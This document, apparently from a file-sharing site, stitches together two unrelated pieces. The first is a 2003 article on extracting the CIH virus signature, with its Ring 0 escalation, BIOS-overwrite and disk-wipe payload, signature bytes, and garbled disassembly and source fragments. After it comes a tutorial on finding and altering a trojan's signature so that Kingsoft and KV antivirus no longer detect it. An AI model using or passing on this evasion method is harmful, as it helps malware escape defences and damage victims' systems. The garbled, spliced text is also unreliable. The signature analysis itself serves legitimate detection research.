logo资料库

计算机病毒特征码提取及分析.doc

第1页 / 共6页
第2页 / 共6页
第3页 / 共6页
第4页 / 共6页
第5页 / 共6页
第6页 / 共6页
资料共6页,全文预览结束
计算机病毒特征码提取分析 作者:安天实验室系统程序员 李柏松 时间:2003-1 第一节 特点 病毒绕过了微软提供的应用程序界面,绕过了 ActiveX、C++甚至 C,使用汇编, 利用 VxD(虚拟设备驱动程序)接口编程,直接杀入 Windows 内核。它没有改变宿主文件 的大小,而是采用了一种新的文件感染机制即碎洞攻击(fragmented cavity attack), 将病毒化整为零,拆分成若干块,插入宿主文件中去;最引人注目的是它利用目前许多 BIOS 芯片开放了可重写的特性,向计算机主板的 BIOS 端口写入乱码,开创了病毒直接进 攻计算机主板芯片的先例。可以说 CIH 病毒提供了一种全新的病毒程序方式和病毒发展方 向。 第二节 CIH 病毒的初始化 1.用 SIDT 指令取得 IDT base address(中断描述符表基地址),然后把 IDT 的 INT 3 的入口地 址改为指向 CIH 自己的 INT3 程序入口部分; 2. 执行 INT 3 指令,进入 CIH 自身的 INT 3 入口程序,这样,CIH 病毒就可以获得 Windows 最高级别的权限(Ring 0 级),可在 Windows 的内核执行各种操作(如终止系统运行,直接对 内存读写、截获各种中断、控制 I/O 端口等,这些操作在应用程序层 Ring 3 级是受到严格 限制的)。病毒在这段程序中首先检查调试寄存器 DR0 的值是否为 0,用以判断先前是否 有 CIH 病毒已经驻留。 3.如果 DR0 的值不为 0,则表示 CIH 病毒程式已驻留,病毒程序恢复原先的 INT 3 入口,然 后正常退出 INT3,跳到过程 9; 4. 如果 DR0 值为 0,则 CIH 病毒将尝试进行驻留。首先将当前 EBX 寄存器的值赋给 DR0 寄存器,以生成驻留标记,然后调用 INT 20 中断,使用 VxD call Page Allocate 系统调用, 请求系统分配 2 个 PAGE 大小的 Windows 系统内存(system memory),Windows 系统内存地 址范围为 C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程 序想长期 驻留在内存中,则必须申请到此区段内的内存。 5.如果内存申请成功,则从被感染文件中将原先分成多块的病毒代码收集起来,并进行组合 后放到申请到的内存空间中; 6. 再次调用 INT 3 中断进入 CIH 病毒体的 INT 3 入口程序,调用 INT20 来完成调用一个 IFSMgr_InstallFileSystemApiHook 的子程序,在 Windows 内核中文件系统处 理函数中挂接 钩子,以截取文件调用的操作,这样一旦系统出现要求开启文件的调用,则 CIH 病毒的传 染部分程序就会在第一时间截获此文件; 7.将同时获取的 Windows 默认的 IFSMgr_Ring0_FileIO(核心文件输入/输出)服务程序的入 口地址保留在 DR0 寄存器中,以便于 CIH 病毒调用; 8.恢复原先的 IDT 中断表中的 INT 3 入口,退出 INT 3; 9.根据病毒程序内隐藏的原文件的正常入口地址,跳到原文件正常入口,执行正常 第三节 病毒发作条件判断 在 CIHv1.4 中,病毒的发作日期是 4 月 26 日,病毒从 COMS 的 70、71 端口取出系统当前 日期,对其进行判断: MOV AX,0708 OUT 70,AL
IN AL,71 取当前系统月份->AL XCHG AL,AH OUT 70,AL IN AL,71 取当前系统日->AL XOR AX,0426 是否为 4 月 26 日 JZ 病毒发作程序 之所以不采用这段代码做特征码,是为防止正常程序使用,或者易于发作条件修改。 第四节 病毒的破坏 1.通过主板的 BIOS 端口地址 0CFEH 和 0CFDH 向 BIOS 引导块(boot block)内各写入一个 字节的乱码,造成主机无法启动。 随 着闪存(FlashMemory)价格的下跌,奔腾机器上 BIOS 普遍采用 PROM(可编程只读存 储器),它可以在 12 伏以下的电压下利用软件的方式,从 BIOS 端口中读出和写入数据,以 便于进行程序的升级。CIH 病毒正是利用闪存的这一特性,往 BIOS 里写入乱码,造成 BIOS 中的原内容被会彻底破坏, 主机无法启动。 所幸的是,CIH 只能对少数类型的主板 BIOS 构成威胁。这是因为,BIOS 的软件更新是通 过直接写端口实现的,而不同主 板的 BIOS 端口地址各不相同。现在出现的 CIH 只有 1K,程序量太小,还不可能存储大量 的主板和 BIOS 端口数据。它只对 端口地址为 0CFEH 和 0CFD 的 BIOS(据有关资料为 Intel 430TX chipset、部分 Pentium chipsets)进行攻击 2.覆盖硬盘 通过调用 Vxd call IOS_SendCommand 直接对硬盘进行存取,将垃圾代码以 2048 个扇区为单 位,从硬盘主引导区开始依 次循环写入硬盘,直到所有硬盘(含逻辑盘)的数据均被破坏为止。 特征码: 55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D 4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B 66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89 73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83 偏移位置:0x240 特码长度:0x40 反汇编代码: 00400240 > 55 00400241 00400245 00400247 0040024A 0040024F 8D4424 F8 33DB 64:8703 E8 00000000 5B PUSH EBP LEA EAX,DWORD PTR SS:[ESP-8] XOR EBX,EBX XCHG DWORD PTR FS:[EBX],EAX CALL Win95_ci.0040024F POP EBX
00400250 00400253 00400254 00400255 00400256 base address(中断描述符表基地址), 8D4B 42 51 50 50 0F014C24 FE LEA ECX,DWORD PTR DS:[EBX+42] PUSH ECX PUSH EAX PUSH EAX SIDT FWORD PTR SS:[ESP-2] ; 用 SIDT 指令取得 IDT ; 然后把 IDT 的 INT 3 的入 POP EBX ADD EBX,1C CLI MOV EBP,DWORD PTR DS:[EBX] MOV BP,WORD PTR DS:[EBX-4] LEA ESI,DWORD PTR DS:[ECX+12] PUSH ESI MOV WORD PTR DS:[EBX-4],SI SHR ESI,10 5B 83C3 1C FA 8B2B 66:8B6B FC 8D71 12 56 66:8973 FC C1EE 10 66:8973 02 5E CC 口地址改为指向 CIH 自己的 INT3 程序入口部分; 0040025B 0040025C 0040025F 00400260 00400262 00400266 00400269 0040026A 0040026E 00400271 00400275 00400276 CIH 自身的 INT 3 入口程序,获得权限(Ring 0 级), 00400277 00400278 0040027A 0040027D 0040027F 与 1.3 版本匹配,源病毒初始代码如下: 56 8BF0 8B48 FC F3:A4 83E8 08 PUSH ESI MOV ESI,EAX MOV ECX,DWORD PTR DS:[EAX-4] REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] SUB EAX,8 MOV WORD PTR DS:[EBX+2],SI POP ESI INT3 ; 执行 INT 3 指令,进入 MyVirusStart: push ebp ; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error ; * Occurrence, Especially in NT. ; ************************************* * * lea eax, [esp-04h*2] xor xchg ebx, ebx eax, fs:[ebx] call @0 @0:
pop ebx lea push ecx, StopToRunVirusCode-@0[ebx] ecx push eax ; ************************************* ; * Let's Modify ; ************************************* * pop esi ; ************************************* ; * Generate Exception to Get Ring0 ; ************************************* * int HookExceptionNumber ; GenerateException ReturnAddressOfEndException = $ ; ************************************* ; * Merge All Virus Code Section ; ************************************* * push mov esi esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep sub movsb eax, 08h ; ************************************* ; * Generate Exception Again ; ************************************* * ; ************************************* ; * Let's Restore *
; * Structured Exception Handing ; ************************************* * ; ************************************* ; * When Exception Error Occurs, ; * Our OS System should be in NT. ; * So My Cute Virus will not ; * Continue to Run, it Jmups to ; * Original Application to Run. ; ************************************* * * * * * StopToRunVirusCode: @1 = StopToRunVirusCode ; ************************************* ; * Return Original App to Execute ; ************************************* 文档: http://www.yuanmawang.com/Download.asp?ID=5543&sID=1 * 音频: http://download1.77169.com/donghua/other/12-11.zip 今天讲一下怎么改病毒的特征码,让它不被杀毒软件杀掉,就拿 hgzvip1.2没有配置的服务 端为例子 现在能被金山认识出来! 一般从程序的入口开始找特征码 4bdf68是内存的虚拟地址 bd368就是文件的相对偏移地址 现在查不出了,就说明特征码就在刚在的那一片 刚才我们填充的是120,现在就取它的一半90 范围更小了 再取90的一半 哈,范围更小了 再取48的一半 运气真好,就是这一段了,我们可以把范围更精确一点 有毒,说明不是这一段,go on,go on,go on, 查不到了,就说明是从 bd376这里左右开始的 反编译原来的文件看一下,搞错了,应该用原来的文件 我们就从这里改,先看懂这里程序的意思 xor eax,eax 是把 eax 清为0 那么后面的两句程序的意思也是把内存地址清0,就是这两句。
我们把它的先后顺序换一下就可以了,这两句就 ec 和 e8不同,我们换一下它们的先后顺序。 对应的文件就是这里,查一下还会不会被金山认出,哈哈,它不认识了! 但是还会被 kv 认出,所以我们得继续,把 kv 识别的特征也得改了, 方法和这里是一样的,我就不继续了。 关键点在于找到特征码之后,不能乱改,一定要把程序的意思看懂了,不然程序可能出错的。
分享到:
收藏